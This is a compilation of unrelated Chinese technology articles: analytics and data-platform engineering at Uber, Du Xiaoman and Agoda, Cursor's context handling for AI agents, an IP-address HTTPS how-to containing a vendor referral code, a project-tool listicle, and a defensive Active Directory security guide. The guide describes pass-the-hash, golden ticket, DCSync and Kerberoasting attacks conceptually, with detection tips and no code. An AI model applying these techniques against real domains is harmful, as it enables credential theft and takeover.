 

根据 Uber 工程师的说法,移动分析对于决策、功能采用和衡量用户体验至关重要。随着应用程序和团队的增长,工具变得分散。功能团队独立定义并发出事件,共享 UI 组件常常缺乏分析钩子,类似的交互在不同的团队中有不同的记录方式。其结果是,超过 40%的移动事件属于自定义或临时事件,这不仅增加了分析复杂度,还降低了聚合指标的可信度。

 

为了应对这些挑战,工程师将核心分析职责从功能级代码转移到了共享基础设施。他们与产品、设计和数据科学团队合作,定义了点击、展示和滚动等标准事件类型。这些事件基于共享模式通过代码生成,在 UI 组件层进行监控,通过集中式报告层输出,由后端服务进行数据增强,并通过 Uber 的分析管道进行消费。

Uber 移动分析系统架构(图片来源:Uber博客

 

其中一项关键决策是将分析逻辑嵌入到平台级 UI 组件中。工程师引入了分析构建器,用于管理事件生命周期、元数据附件和事件发出逻辑,使功能团队可以开展标准化的分析工作而无需编写自定义工具。他们对包含 100 个展示记录组件的示例应用做了性能测试,结果显示,CPU 使用率或帧率没有退化,这是在性能敏感设备上推广该工具的先决条件。

ImpressionAnalyticsBuilder 类事件生成的数据流图(图片来源:Uber博客

 

该平台还实现了常见的元数据收集。应用级元数据(如接送地点或餐厅 UUID)会自动记录,而事件类元数据(包括列表索引、行标识符、滚动方向和视图位置)则由 AnalyticsBuilder 捕获。界面通过 Thrift 模型实现了标准化,可以确保容器视图、按钮和滑块的日志记录保持一致。

分析元数据金字塔概览(图片来源:Uber博客

 

为了验证平台有效性,工程师通过新旧 API 对两个功能进行了 dual-emitted 分析。查询结果表明,跨平台事件量、元数据及界面是匹配的,而像滚动开始/停止计数和视图位置等语义也保持了一致。试点应用揭示了平台和记录方法的差异,并突出了列表增强的好处——将多个行事件合并为单个标准化事件,简化了查询并提高了可测试性。功能团队还采用了可见性检查机制,减少了自定义实现。

 

试点应用之后,Uber 分析团队进行了旧事件到标准化 API 的迁移,使得产品团队可以专注于他们的路线图。在需要支持的地方,他们创建了自动化脚本,扫描 iOS 和 Android 代码,评估高优先级事件,并生成适合迁移的列表。平台团队还添加了一个 linter,目的是拦截使用非标准 API 新建的点击或展示事件,防止它们进一步漂移。根据工程师的反馈,跨平台一致性得到提升,元数据和语义保持了统一,工具代码量减少,展示计数更可靠,并实现了可扩展的开箱即用 UI 交互覆盖功能。

 

展望未来,Uber 工程师正在通过组件化增强分析功能,为按钮和列表等 UI 元素分配唯一 ID,以便标准化事件命名和元数据,进一步减少开发人员的工作量。

原文链接:

https://www.infoq.com/news/2026/01/uber-mobile-analytics-platform/

度小满引入 Apache Doris 替换原有 Greenplum,实现整体查询效率提升 82%,与此同时,集群缩减 2/3、年省数百万的巨大效益。本文将分享度小满如何基于 Doris 从 0 到 1 构建超大规模数据分析平台,并围绕平滑迁移、异地多活容灾等方面,分享实践经验。

本文整理自度小满 Doris 数据库负责人汤斯在 Doris Summit 2025 中的演讲,并以演讲者第一视角进行叙述。

度小满金融(原百度金融)作为一家覆盖现代财富管理、支付、金融科技等多板块的科技公司,数据的分析处理对其极为重要,已经深度融入业务生命周期的每个环节,是进行风险控制、商业决策、用户体验优化及运营提效的基石。

随着业务高速发展,度小满原有基于 Greenplum 搭建的 OLAP 平台,逐渐暴露出三大痛点:

  • 规模与稳定性瓶颈:存储已接近饱和,扩容至百余台已接近硬件规模的承载上限,如果继续扩容,将面临更严重的稳定性挑战。

  • 性能与体验不佳:Greenplum SQL 查询执行速度慢,且经常出现 “计算时间远小于排队时间” 的情况,严重影响业务分析效率。

  • 缺失技术支持:当前使用的 Greenplum 6 版本技术架构已显得陈旧,并且 2024 年 Greenplum 宣布将停止开源,后续的技术支持与迭代升级将无法保障。

为了应对这些痛点,度小满金融迫切寻找更为高效、稳定且具备现代化技术架构的数据处理解决方案,以支持其未来的业务发展。

Apache Doris:高吞吐、快查询

面对日益增长的业务体量与复杂多变的分析需求,选用一个高效、可靠的数据库系统,已成为支撑业务稳健发展与快速创新的关键。Apache Doris 以其出色的性能表现与高度灵活的架构,成为众多场景下的优选方案。为深入验证其在海量数据与复杂分析场景中的能力,我们展开了一系列性能测试,关键结果如下:

  • 查询性能:在 1TB TPC-DS 标准测试集中, Apache Doris的查询速度约是 Greenplum 6 的 20-30 倍

  • 导入性能:在基于 Flink 写入的 TPS 测试中,基于单分片导入,压测最大 TPS 为:5000W/s

  • JSON 数据处理:针对新推出的 Variant JSON 数据类型,测试显示:存储 2-3 万 Key 时,其空间占用仅为普通 JSON 的 1/10 甚至更低,查询效率则提升至 10 倍以上

综上可知,Apache Doris 在写入吞吐、响应速度及存储效率上表现卓越,有力证明了其应对大规模、实时化、半结构化数据分析挑战的坚实技术基础。

基于 Apache Doris 的大规模数据分析平台

在上述详实的选型调研之后,我们决定采用 Apache Doris 替代原有 Greenplum 集群,构建超大规模数据分析平台。

为验证 Apache Doris 在真实业务场景中的表现,我们先进行了小范围试点,部署了少量 Doris 集群,并先行接入几个关键业务方。试点期间,系统在性能、稳定性和易用性方面获得高度评价。基于这一积极反馈,我们稳步扩展 Doris 集群规模,最终在效率与成本上实现大幅提升:

  • 整体效率:端到端分析任务耗时从 274 秒降至 47 秒,效率提升 82%,任务超时查杀比例从 1.3%骤降至 0.11%,降幅达 91%,彻底解决高峰期排队问题实现 0 排队,使分析师的工作不再因拥堵而中断,体验和生产力均有极大提升。

  • 集群成本:在同等资源成本下, Doris 仅以 1/3 的集群数量即可提供与 Greenplum 同等的服务能力,存储性能提升 200%。截至目前,已完成 百余台原 Greenplum 服务器的清退工作,以更少的硬件资源支撑了更高的计算与存储需求,实现年度硬件成本节约数百万元

从 0-1 数据平台建设经验

我们基于 Apache Doris 成功替换了 Greenplum,完成了从 0-1 的数据平台重构,覆盖架构设计、数据流转与业务协同的系统性工程。以下将围绕快速平滑迁移、异地多活容灾与全链路生态集成三个核心环节,展开具体实践。

01 快速迁移

为保障业务连续性与数据安全,我们开发了自动化迁移工具 SqlGlot,将大规模数据从原有 GP 集群迁移至 Doris 集群。整个过程历经半年,累计迁移 PB 级规模数据,全程业务无感知。

  • 表结构迁移:在表结构迁移阶段,团队从 GP 系统中导出表结构及相关元数据,借助 SqlGlot 工具实现字段映射与语法适配,并在此基础上完成分区构建与分桶策略设计,确保每个分桶数据量控制在 1G~3G 的合理范围内。该流程最终成功转换超过 20,000 张表,并保障了所有表的分区与分桶结构符合业务与性能要求。

  • 表数据迁移:我们通过分布式导出将 GP 数据并行迁移至 Doris 机器,并基于 Doris 官方推荐的 Stream Load 进行并发控制,以文件流式加载的方式高效导入数据至 Doris 集群。整个过程累计完成 PB 级规模数据迁移,稳定支持了 5000+ 次数据同步任务。

  • SQL 迁移:为解决因业务规模庞大、场景复杂而导致的官方工具语法支持不全的问题,我们基于 SqlGlot 并结合正则匹配能力,将 PostgreSQL SQL 高效转换为 Doris SQL。整个迁移流程包括“转换成功 → 执行成功 → 数据一致” ,累计完成约 47 万个 SQL 的转换,实现 95% 的执行成功率 与 92% 的数据一致率

02 异地双机房灾备

为保障数据安全并实现集群高可用,我们基于 Apache Doris 构建了异地双机房灾备架构,确保数据与服务具备跨机房容灾与双活能力。核心设计如下:

我们将所有 Doris 集群节点均匀部署于 A 与 B 两个异地机房,通过设置 tag.location 属性明确节点所属机房。用户账号按机房绑定,访问请求通过轮询机制自动分配,实现负载均衡(例如首次请求路由至 A 机房,第二次则路由至 B 机房)。建表时通过配置 location 参数,确保每张表在双机房各保留 2 个副本,从而达成数据异地双活与故障自动切换。

关键配置示例

  1. 设置节点机房标签

alter system modify backend ”BE1:9050" set ("tag.location" = "group_a");alter system modify backend ”BE2:9050" set ("tag.location" = "group_b");
复制代码

  1. 建表时指定双机房副本分布

CREATE TABLE ubevent (ts DATETIME, uid INT, ...) DUPLICATE KEY(ts) DISTRIBUTED BY HASH(uid) BUCKETS 10PROPERTIES ("replication_allocation" = "tag.location.group_b: 2, tag.location.group_a: 2");
复制代码

03 生态整合

为构建高效、稳定、易用的数据平台,我们还围绕 Apache Doris 进行系统性生态整合:

  • 计算引擎无缝集成:通过 Doris 官方提供的 Spark Connector 与 Flink Connector,实现了与现有 Spark、Flink 计算引擎的高效对接,保障了数据流水线稳定运行。

  • 运维体系化与自动化:集成 Prometheus、Grafana 及 Doris Manager,构建了覆盖监控、告警、管理与调优的自动化运维体系,全面提升集群稳定性与运维效率。

优化经验

为进一步提升数据平台的效率及资源利用率,在实际落地过程中,围绕集群、负载、存储等多维度总结了以下优化经验:

01 集群隔离

当前我们有多个 Doris 集群,为合理承接不同业务方的接入需求,我们主要依据业务成本与稳定性要求两大维度进行评估与路由。通常而言,稳定性越高,对应成本也越高。

新建集群时,稳定性最优,但相应成本也最高。为在成本与稳定性之间取得平衡,我们大多场景是基于 Workload Group 资源硬隔离方案,对 CPU 与内存进行资源组级别的隔离,有效减少不同业务负载间的资源竞争。若业务对稳定性的要求超出共享集群所能提供的范围,则仍需要通过新建独立集群来满足。

02 存储压力

在 Apache Doris 的落地与运维过程中,我们曾面临因业务快速增长带来的高达 80%-90% 的磁盘存储压力。针对这一问题,进行了一系列优化:

  • 控制表生命周期:部分业务或因对动态分区相关语法不熟悉,未主动采用该策略。为此,集成动态分区的参数配置,简化了开发难度,并提供统一注册入口,业务开发人员仅需选择是否开启、保留天数即可。

  • 修改压缩格式:将默认压缩算法从 LZ4 切换为 ZSTD。实测表明,存储空间平均节省约 50%,虽带来约 20%~30% 的 CPU 与内存负载上升,但整体 ROI 仍然较高。

  • 存储指标监控告警:为预防因误操作或异常行为导致的存储激增,建立了针对“人员”与“表”双维度的监控体系。环比分析业务人员数据占用趋势及单表每日增长量,可自动识别异常(如单日增长飙升至日常 10 倍),并及时触发告警及通知。

  • Hive 与 Doris 打通:在基于 Kerberos 认证的 Hive 环境中,对 Doris Hive Catalog 功能进行了二次开发,实现跨系统的直接数据访问,无需依赖 Flink 等同步工具,简化了架构并提升了数据使用效率。

03 负载均衡

为确保系统在负载高峰期的稳定运行,特别是应对异常 SQL 与大查询带来的资源压力,应对措施如下:

  • 双机房负载均衡:基于已有的异地双机房架构,通过轮询机制实现业务流量在 A 与 B 机房之间的自动分发:首个 SQL 请求路由至 A,次个请求则导向 B,以此循环,确保双机房负载均衡,避免单点资源过载。

  • SQL 参数限制:通过 enable_query_memory_overcommit = falseexec_mem_limit = 256 * 1024 * 1024 * 1024 等参数将最大占用内存限制为 256G,避免集群被打满,后续计划降至 60G。

  • Workload 资源队列动态调整:基于任务类型划分资源队列,配置 CPU 的软隔离和内存的硬隔离,并支持错峰调度。比如:例行任务通常在夜间执行,为其创建专门资源队列,数据分析等公共任务大多在白天执行,将配置更大的资源队列,随着白天/夜间需求的变化动态调整资源。此外,依据各队列负载设定并行度与并发数,控制任务排队时长。

  • 异常 SQL 拦截:实时识别与拦截异常 SQL,避免其影响 BE 节点稳定性。初期使用 Doris 内置正则规则进行拦截,但规则复杂导致 CPU 开销上升。为此,我们将拦截逻辑外移至平台层执行,以避免正则匹配及超大 JOIN 导致的 CPU 负载过高。

04 集群稳定性

随着集群规模不断扩大,保障 FE、BE 节点稳定性成为运维工作的核心挑战,为此,我们构建了以下保障体系:

  • 分层触达+全维度覆盖:根据不同指标优先级设置通知电话、短信、飞书提醒,P0 监控准确率 ≥80%;

  • 自动异常处理:为 FE 和 BE 的宕机重启设置了自动化处理方案,在识别到服务卡住时,系统会自动重启进程。此外,对于磁盘掉线,将自动下线故障盘并触发副本补齐。

我们同时采用对战分析、火焰图和日志查看等方法进行详细记录,以便后续调优。此外,编写了 SOP 手册,涵盖不同场景的应对措施,并进行了异常处理演练。

结束语

截至目前,我们已搭建 3 个基于 Doris 2.1.10 版本的线上集群,其中最大规模的集群达万 core 级别、上百 TB 内存和 PB 级磁盘。目前仍在扩容中,计划在年底前新增百余台 CN 节点和数十台 Mix 节点。未来,我们将重点关注并探索以下能力:

  • 存算分离:重点关注 Doris 3.X 版本的存储分离架构,推动落地实践。

  • 湖仓一体:全面打通数据湖与数据仓库,目前已小规模试点 Paimon;此外,针对数据外置场景,计划通过异步物化视图提升查询性能。

  • 智能物化视图探索:引入语义建模与 AI 智能分析,降低研发与业务沟通门槛,并对智能推荐与模板化方案进行探索与实践。

Agoda 近日分享了他们如何将多个独立的数据管道整合为一个基于Apache Spark的集中式平台,以消除财务数据中的不一致性的。该公司构建了一个多层质量保障框架,结合自动化校验、基于机器学习的异常检测以及与上游团队签订的数据契约(data contracts),确保用于财务报表和战略规划的财务指标准确无误,同时每天处理数百万笔预订交易。

 

这一问题源于一个典型的企业架构模式,Agoda 的数据工程、商业智能(BI)和数据分析团队各自开发了独立的财务数据管道,并使用不同的逻辑和定义。尽管这种做法在初期提供了简单性和清晰的责任边界,却导致了重复计算和全公司范围内指标不一致的问题。正如 Agoda 工程团队的Warot Jongboondee所解释的那样,这些差异“可能对 Agoda 的财务报表产生实质性的影响”。

独立的财务数据管道 (图片来源)

 

为了解决这一挑战,Agoda 推出了名为 Financial Unified Data Pipeline(FINUDP)的统一财务数据管道,作为销售、成本、收入和利润率等关键财务数据的单一事实来源(single source of truth)。该系统基于Apache Spark构建,每小时向下游团队提供更新,用于对账和财务规划。整合过程耗费了大量的精力:协调产品、财务和工程等多个利益相关方就统一的数据定义达成共识耗费了很长的时间;初始版本的运行时间长达五小时,后通过查询优化和基础设施调整,最终缩短至约 30 分钟。

财务统一数据管道(FINUDP)的架构(图片来源)

 

Agoda 的质量保障框架采用了多重防御机制。自动化校验会检查数据表中的空值、数值范围约束和数据完整性。一旦关键业务规则校验失败,管道会自动暂停,以防处理可能错误的数据。团队使用Quilliup来比对源表与目标表。与上游团队的数据契约(Data Contracts)会明确约定数据格式、内容和质量要求,任何违反契约的行为会立即触发告警。机器学习模型会持续监控数据模式,识别潜在异常。三级告警系统确保通过邮件、Slack 通知以及内部工具实现快速响应,如果数据更新延迟,系统会自动升级至 Agoda 的 7×24 小时网络运营中心(Network Operations Center,NOC)。

 

这一做法契合了行业的整体趋势。根据最新的行业调研,64%的组织将数据质量问题视为最大挑战。Gartner 指出,数据契约正成为“管理、交付和治理数据产品的一种日益流行的方式”。这类生产者与消费者之间的正式协议,明确定义了数据模式(schema)和质量标准。

 

当然,集中化也带来了明确的权衡取舍(trade-offs)包括,开发速度下降,因为任何变更现在都需要对整个管道进行测试。数据依赖,管道必须等待所有上游数据集就绪后才能启动。详尽的文档编写和广泛的干系人共识拖慢了落地进度,却建立了跨团队的信任。Jongboondee 表示,集中化“要求在每个环节都进行更紧密的协作和审慎的变更管理”。

 

目前,该系统已经实现了 95.6%的可用性,并朝着 99.5%的目标迈进。所有变更均需经过影子测试(shadow testing),也就是,在合并请求中,新旧版本的查询会并行运行,并自动比对结果。此外,还有一个与生产环境完全一致的专用 staging 环境,允许团队在正式发布前进行充分的验证。

 

FINUDP 项目表明,当企业处理大规模关键业务数据时,正逐步从零散的、事后补救式的质量检查,转向架构层面强制执行的、端到端的可靠性体系。这种体系优先保障数据的一致性与可审计性,而非单纯的开发速度,这一转变在财务数据日益支撑报表生成、机器学习模型训练和监管合规流程的今天,显得尤为关键。

 

原文链接:

How Agoda Unified Multiple Data Pipelines Into a Single Source of Truth

Cursor 推出了一种新方法,用于减少发送给大语言模型(LLM)的请求上下文的大小。这种方法名为动态上下文发现(Dynamic Context Discovery),它摒弃了以往在请求开始时就包含大量静态上下文的做法,转而让智能体(agent)按需动态检索所需信息。这种方式不仅显著减少了 token 消耗,也避免了将可能令人困惑或无关的细节混入上下文。

 

为了实现动态上下文发现,Cursor 采用了五种不同的技术。这些技术有一个共同特点,即以文件作为 LLM 工具的主要接口,使内容能够由智能体动态存储和获取,而不是一次性塞满有限的上下文窗口。

随着编码智能体能力的快速提升,文件已成为一种简单而强大的基础原语(primitive)。相比引入另一种尚无法完全适应未来需求的抽象层,使用文件是一种更安全、更务实的选择。

 

Cursor 使用的第一项技术是将大规模输出(比如,shell 命令或其他工具的输出)写入文件,确保关键信息不会因上下文截断而丢失。随后,智能体可根据需要使用tail等命令读取文件末尾的内容。

 

其次,针对上下文过长时被摘要压缩而导致信息丢失的问题,Cursor 会将完整的交互历史保存到文件中,使智能体能在后续需要时检索缺失的细节。同样,领域特定的能力被存放在文件中,智能体可通过Cursor内置的语义搜索工具动态发现相关文件。

 

对于 MCP 工具(Model Context Protocol 工具),传统做法是在请求初始阶段就加载所有 MCP 服务器提供的工具描述,而 Cursor 修改为仅传递工具名称。当任务实际需要某个工具时,智能体才会动态拉取其完整定义。这一策略大幅降低了 token 总量:

智能体现在只接收少量的静态上下文(包括工具名称列表),并在任务需要时主动查询具体工具。在一项 A/B 测试中,对于调用了 MCP 工具的运行实例,该策略平均减少了 46.9%的总 token 使用量(结果具有统计显著性,但方差较大,这取决于所安装 MCP 服务器的数量)。

此外,这种方法还带来一个额外的优势,那就是智能体可以监控每个 MCP 工具的状态。例如,比如某个 MCP 服务器需要重新认证,智能体可以及时通知用户,而不是完全忽略该问题。

 

最后,所有终端会话的输出会同步到文件系统。这使得智能体能更轻松地回答用户关于命令失败原因的问题。同时,通过将输出存入文件,智能体可使用 grep 等工具仅提取相关的信息,进一步压缩上下文规模。

 

在 X 上,用户 @glitchy 指出,虽然减少token是重要目标,但是尚不清楚这种动态机制是否会增加延迟。@NoBanksNearby 则认为,动态上下文发现“在同时运行多个MCP服务器时,对开发效率提升巨大”。@casinokrisa也对此表示赞同:

token 数量几乎减少了一半,既降低了成本,又加快了响应速度,尤其是在多服务器场景下。

 

最后,@anayatkhan09提出了可能的优化方向

下一步应该是向用户开放动态上下文策略,让我们能针对不同代码仓库调整优化的激进程度,而不是对所有工具一视同仁。

 

据 Cursor 官方表示,动态上下文发现功能将在未来几周内向所有用户开放。

原文链接:

AI-Powered Code Editor Cursor Introduces Dynamic Context Discovery to Improve Token-Efficiency

在没有域名只有IP地址的情况下,实现HTTPS访问是可能的,但需要通过一系列步骤来确保安全性和可访问性。以下是实现这一目标的详细步骤:

一、确认公网IP地址

首先,确保你拥有一个固定的公网IP地址。公网IP地址是互联网上的基本寻址方案,用于唯一标识互联网上的计算机或服务器,是实现外部直接访问的前提条件。动态IP地址可能不适合此场景,因为它们会频繁改变,导致SSL证书失效。

二、申请IP地址SSL证书

选择证书颁发机构(CA)
打开JoySSL官网,写注册码230970,获取大额优惠跟技术支持。

准备申请材料:
准备好对IP地址的所有权或管理权限的证明,因为申请过程中通常需要验证你对IP的控制权。

完成验证流程:
按照CA的要求完成验证流程,这可能包括通过文件验证、邮箱验证或其他方式证明你对IP地址的控制权。

购买证书:
购买合适的证书类型,如DV(域名验证)或OV(组织验证)证书。需要注意的是,虽然传统上IP地址SSL证书可能更多是针对企业或组织机构的,但近年来个人用户也可能有条件申请,具体需咨询CA。

三、安装SSL证书

下载证书:
一旦申请被批准,从CA处下载你的SSL证书文件和中间证书。

上传证书:
将证书文件和私钥上传至你的Web服务器软件上,如Apache、Nginx或IIS。

配置服务器:
在服务器配置中,将IP SSL证书绑定到特定的公网IP地址上,而非传统域名。在Nginx等服务器软件的配置文件中,可以指定IP地址作为server_name。
确保服务器配置正确监听HTTPS端口,并正确处理HTTPS请求。
如果需要,配置端口转发,确保即使使用非标准端口,HTTPS连接也能正确建立。

一、从实操痛点看工具质感的价值

作为深耕项目管理领域十余年的从业者,我深知一款细节拉满的工具能为团队效率带来质的飞跃。从需求拆解到进度追踪,从跨岗协作到数据复盘,软件的工艺打磨直接决定了日常操作的流畅度与体验感。下文将聚焦15款优质项目管理软件,中立解析核心功能,为不同场景提供选型参考。

二、15款项目管理软件核心解析

(一)轻量化协作工具

  1. Trello:看板管理支持拖拽式任务流转,直观呈现进度;标签分类可按优先级/模块快速筛选;成员协作实时同步任务动态;插件集成对接日历、文档工具拓展能力。
  2. Tower:任务分配精准关联责任人与截止时间;讨论模块聚合任务相关沟通记录;文件共享支持多格式附件存储;日程同步自动关联任务生成个人日程。
  3. Basecamp:脉冲功能实时监测项目健康度;消息中心集中管理团队沟通;文档存储实现资料版本管控;日程安排适配多项目并行规划。

(二)全流程管理工具

  1. 禅道(Zentao):需求管理支持全生命周期追踪与矩阵分析;迭代管理通过燃尽图把控研发进度;缺陷跟踪自定义规则适配不同场景;产品规划提供路标甘特图可视化方案。
  2. Jira:敏捷管理适配Scrum/看板模式;问题追踪精准定位流程卡点;工作流定制满足个性化业务需求;报表分析多维度呈现项目数据。
  3. Asana:流程自动化减少手动重复操作;多视图切换支持看板/日历/列表模式;跨团队协同打破部门信息壁垒;目标对齐关联项目与战略目标。
  4. ClickUp:层级架构按空间-文件夹-任务拆解工作;AI助手预警任务依赖冲突;负载分配自动平衡成员工作量;全功能集成整合文档、白板、聊天模块。
  5. Monday.com:可视化界面支持拖拽自定义布局;自动化规则适配复杂逻辑触发;AI顾问推荐流程优化方案;生态集成深度对接办公工具栈。

(三)企业级专业工具

  1. Wrike:项目组合管理实现多项目全局管控;风险预警自定义指标生成预警报告;实时协同支持多人在线编辑任务;权限管理精细化控制数据访问。
  2. Microsoft Project:甘特图规划精准设置任务依赖;资源管理优化人力与设备分配;挣值分析对比预算与实际绩效;Office集成无缝对接Excel、Teams。
  3. Oracle Primavera P6:多层级WBS适配大型复杂项目;关键路径法识别核心节点;资源平衡避免冲突调度;Web协同支持跨地域团队同步。
  4. Smartsheet:表格化管理贴合传统操作习惯;自动化审批简化流程节点;数据可视化多维度生成报表;离线编辑保障移动办公需求。

(四)国产化与行业适配工具

  1. 腾讯TAPD:敏捷研发覆盖需求-测试-发布闭环;燃尽图分析把控迭代进度;CI/CD集成对接腾讯云服务;企业微信联动实时推送通知。
  2. Teambition:任务看板清晰呈现执行状态;实时文档支持多人协同编辑;阿里生态集成适配国内企业需求;权限管控保障数据安全。
  3. Notion:块级编辑自由组合任务与文档;数据库关联实现信息无缝流转;知识库搭建沉淀项目经验;离线同步适配远程协作。

三、精准选型建议

选型核心在于匹配团队规模与业务场景,而非追求功能全面:

  • 3-10人小团队:优先选择Trello、Tower,轻量化易上手,降低学习成本。
  • 互联网研发团队:禅道、Jira、腾讯TAPD更适配敏捷流程,支持缺陷与迭代管理。
  • 大型企业/复杂项目:Oracle Primavera P6、Wrike可满足多项目组合与资源管控需求。
  • 跨部门协作场景:ClickUp、Monday.com的自定义与集成能力更具优势。

四、总结

优质项目管理软件的核心价值,在于以精湛工艺化解协作痛点,用细节设计提升操作质感。上述15款产品各有侧重,无绝对优劣之分,关键在于贴合团队实际需求。无论是轻量化协作还是企业级管控,选择一款能精准适配业务流程、带来流畅体验的工具,才能让项目管理从“被动跟进”转向“主动赋能”,为团队效率注入持久动力。

活动目录(AD)是大多数企业IT环境的核心支柱,负责管理整个组织网络中的用户身份、认证与访问控制。随着网络威胁不断演变且愈发复杂,活动目录安全已成为全球IT管理员和网络安全专业人员的核心要务。本指南将全面探讨活动目录安全的基本要点、常见攻击向量,以及保护活动目录环境的成熟策略。

一、理解活动目录安全

活动目录安全涵盖一系列政策、流程与技术控制措施,旨在保护组织的目录服务基础设施,防范未授权访问、数据泄露及恶意活动。由于活动目录通常存储着用户、计算机和网络资源的敏感信息,实施完善的活动目录安全措施对维护组织整体安全态势至关重要。

活动目录安全的重要性不言而喻。一旦活动目录环境被攻陷,攻击者可能获得企业资源的广泛访问权限,在网络中横向移动,甚至导致整个组织的系统被完全控制。因此,对于任何依赖微软目录服务的组织而言,掌握有效的活动目录安全防护方法都至关重要。

二、当前威胁态势:活动目录攻击

现代网络犯罪分子已开发出专门针对活动目录环境的复杂攻击技术。活动目录攻击愈发普遍且破坏性极强,威胁执行者深知,活动目录是高价值目标——一旦攻陷,就能获得广泛的网络访问权限。

(一)常见攻击向量
1.哈希传递攻击(Pass-the-hash attacks)

攻击者从已攻陷的系统中提取哈希格式的凭据,无需破解实际密码,即可用这些凭据认证其他系统。这类活动目录攻击利用了Windows处理认证协议的机制。
影响:允许攻击者在网络中横向移动,冒充合法用户(无需获取其密码)。
检测提示:监控非特权工作站使用管理员凭据发起的异常登录类型(如NTLM认证)。

2.黄金票据攻击(Golden ticket attacks)

攻击者攻陷Kerberos票据授予票据(TGT)服务后,可创建伪造票据,获取对域资源的无限制访问权限。这类活动目录攻击的危险性极高,即便密码更改,攻击仍可能持续。
影响:域完全被攻陷,攻击者可持久化访问并控制所有域资源。
检测提示:排查生命周期异常的Kerberos票据、非域控制器来源的票据,或伪造的特权属性证书(PAC)。

3.白银票据攻击(Silver ticket attacks)

与黄金票据攻击类似,但目标是特定服务而非域级别的全面访问。这类活动目录攻击专注于攻陷服务票据,以获取对特定资源的访问权限。
影响:无需攻陷整个域,即可定向访问特定服务(如SQL、SharePoint)。
检测提示:监控疑似伪造的服务票据(TGS),或由异常账户、异常位置发起的服务票据请求。

4.DCSync攻击(DCSync attacks)

拥有足够权限的攻击者可冒充域控制器,请求任意用户账户的密码哈希。这种复杂的活动目录攻击技术能从域中窃取所有凭据信息。
影响:窃取所有用户和计算机的密码哈希,导致大规模系统攻陷。
检测提示:监控非域控制器设备发起的目录复制服务(DRS)调用(尤其是DRSUAPI调用)。

5.Kerberoasting攻击

攻击者请求服务主体名称(SPN)对应的服务票据,然后尝试离线破解关联的服务账户密码。这类活动目录攻击主要针对通常拥有高权限的服务账户。
影响:攻陷服务账户,进而可能获取对关键应用或数据的访问权限。
检测提示:监控针对SPN的大量TGS-REQ(服务票据请求)事件(事件ID 4769),尤其是非服务账户发起的请求。

6.AS-REP Roasting攻击

攻击目标是启用了“不需要Kerberos预认证”属性的账户,攻击者可请求认证响应并尝试离线破解,是另一类常见的活动目录攻击向量。
影响:攻陷用户账户,常被用于初始入侵或权限提升。
检测提示:监控未设置预认证标志的Kerberos认证失败事件(事件ID 4768),或启用了DONT_REQ_PREAUTH属性的账户。

三、活动目录安全最佳实践

要抵御这些不断演变的威胁,组织必须实施全面的活动目录安全最佳实践。以下策略是有效保护活动目录的核心基础。

(一)实施最小权限原则
活动目录安全最基础的最佳实践之一,是确保用户和服务账户仅拥有完成其工作所需的最低权限。定期开展访问权限审查和特权审计,有助于维持这一安全态势,降低账户被攻陷后的影响范围。可考虑采用分层管理模型,根据资源的重要性划分访问权限。

(二)强化认证机制
保护活动目录需要可靠的认证控制措施。为所有管理员账户启用多因素认证(MFA),并考虑将MFA要求扩展到普通用户账户(尤其是远程访问场景)。强密码策略(包括复杂度要求和定期轮换机制)也是活动目录安全最佳实践的关键组成部分。可通过组策略对象(GPO)强制实施密码复杂度、长度和历史记录规则。

(三)保护管理员账户
管理员账户是攻击者的高价值目标。活动目录安全最佳实践建议:创建与日常使用账户分离的专用管理员账户、部署特权访问工作站(PAW),并在可能的情况下采用限时管理员访问权限。此外,管理工作站和服务器上的本地管理员密码也有助于提升安全性。

(四)监控与审计目录活动
持续监控和审计是活动目录保护的必要环节。对认证事件、权限变更和管理员操作实施全面日志记录。安全信息与事件管理(SIEM)解决方案可帮助关联和分析这些日志,实时检测潜在的活动目录攻击。需重点关注关键事件ID,如4624(登录成功)、4720(用户账户创建)、4732(成员添加到安全启用的全局组)和4740(账户锁定)。

(五)定期开展安全评估与渗透测试
定期安全评估有助于识别可能被活动目录攻击利用的漏洞和配置错误。专门针对活动目录环境的定期渗透测试,能在恶意攻击者发现前暴露安全缺口。可考虑开展红队演练,模拟真实攻击场景,测试组织的检测和响应能力。

四、高级活动目录保护的挑战

除基础安全措施外,组织还应实施高级活动目录保护策略,以抵御复杂的威胁执行者。

(一)网络分段与微分段
合理的网络分段对活动目录安全大有裨益。将域控制器和关键活动目录基础设施与普通网络流量隔离,实施微分段以限制攻击者(一旦获得初始网络访问权限)的横向移动机会,防止已攻陷的用户工作站直接访问敏感的活动目录基础设施。

(二)特权访问管理(PAM)
特权访问管理解决方案通过控制、监控和保护对关键系统的特权访问,为活动目录安全增加额外一层防护。这类解决方案可实施即时访问、会话记录和自动凭据轮换。

(三)高级威胁检测
部署专门用于检测活动目录攻击的工具,如识别异常认证模式、可疑服务票据请求和异常目录查询的工具。基于机器学习(ML)的安全解决方案能识别传统安全工具可能遗漏的细微入侵指标(IOC)。

(四)备份与恢复规划
全面的备份策略对活动目录保护至关重要。定期备份活动目录数据库并测试备份有效性,确保在攻击成功或系统故障时能快速恢复服务。可考虑实施离线备份,避免勒索软件对备份的访问或加密。

五、如何保护活动目录:实施路线图

理解活动目录保护需要系统化的实施方法。以下路线图为提升活动目录安全态势提供了结构化路径。

(一)第一阶段:评估与规划
首先对当前活动目录环境开展全面安全评估,识别现有漏洞、配置错误和安全缺口。该评估结果将作为活动目录安全改进计划的基础。

(二)第二阶段:基础安全控制
实施活动目录安全基础最佳实践,包括强密码策略、账户锁定设置和基础审计配置。建立合理的组织单元(OU)结构和组策略对象(GPO),确保在整个环境中统一执行安全设置。

(三)第三阶段:高级安全措施
部署活动目录高级保护机制,如特权访问管理、高级威胁检测和全面监控解决方案。实施网络分段,并通过多因素认证(MFA)强化认证机制。

(四)第四阶段:持续改进
活动目录保护是一项持续工作,需要定期监督、评估和优化。定期开展安全审计,根据新的威胁态势修订政策,确保团队掌握活动目录安全最新最佳实践。

六、合规性与监管要求

许多组织必须遵守对活动目录安全有特定要求的监管框架。理解这些要求对在实施有效活动目录保护措施的同时维持合规性至关重要。

(一)常见监管框架
通用数据保护条例(GDPR)、健康保险流通与责任法案(HIPAA)、萨班斯-奥克斯利法案(SOX)和支付卡行业数据安全标准(PCI DSS)均对活动目录安全实施有相关要求。这些法规通常强制要求特定的访问控制、审计要求和数据保护措施,需将其纳入活动目录保护策略。

(二)文档记录与报告
合规性通常要求对活动目录安全措施进行妥善文档记录,并定期报告安全态势。需保留安全配置、访问审查和事件响应活动的详细记录。

七、事件响应与恢复

即便实施了全面的活动目录安全最佳实践,组织仍需为潜在安全事件做好准备。针对活动目录攻击的有效事件响应流程,能显著降低攻击成功后的影响。

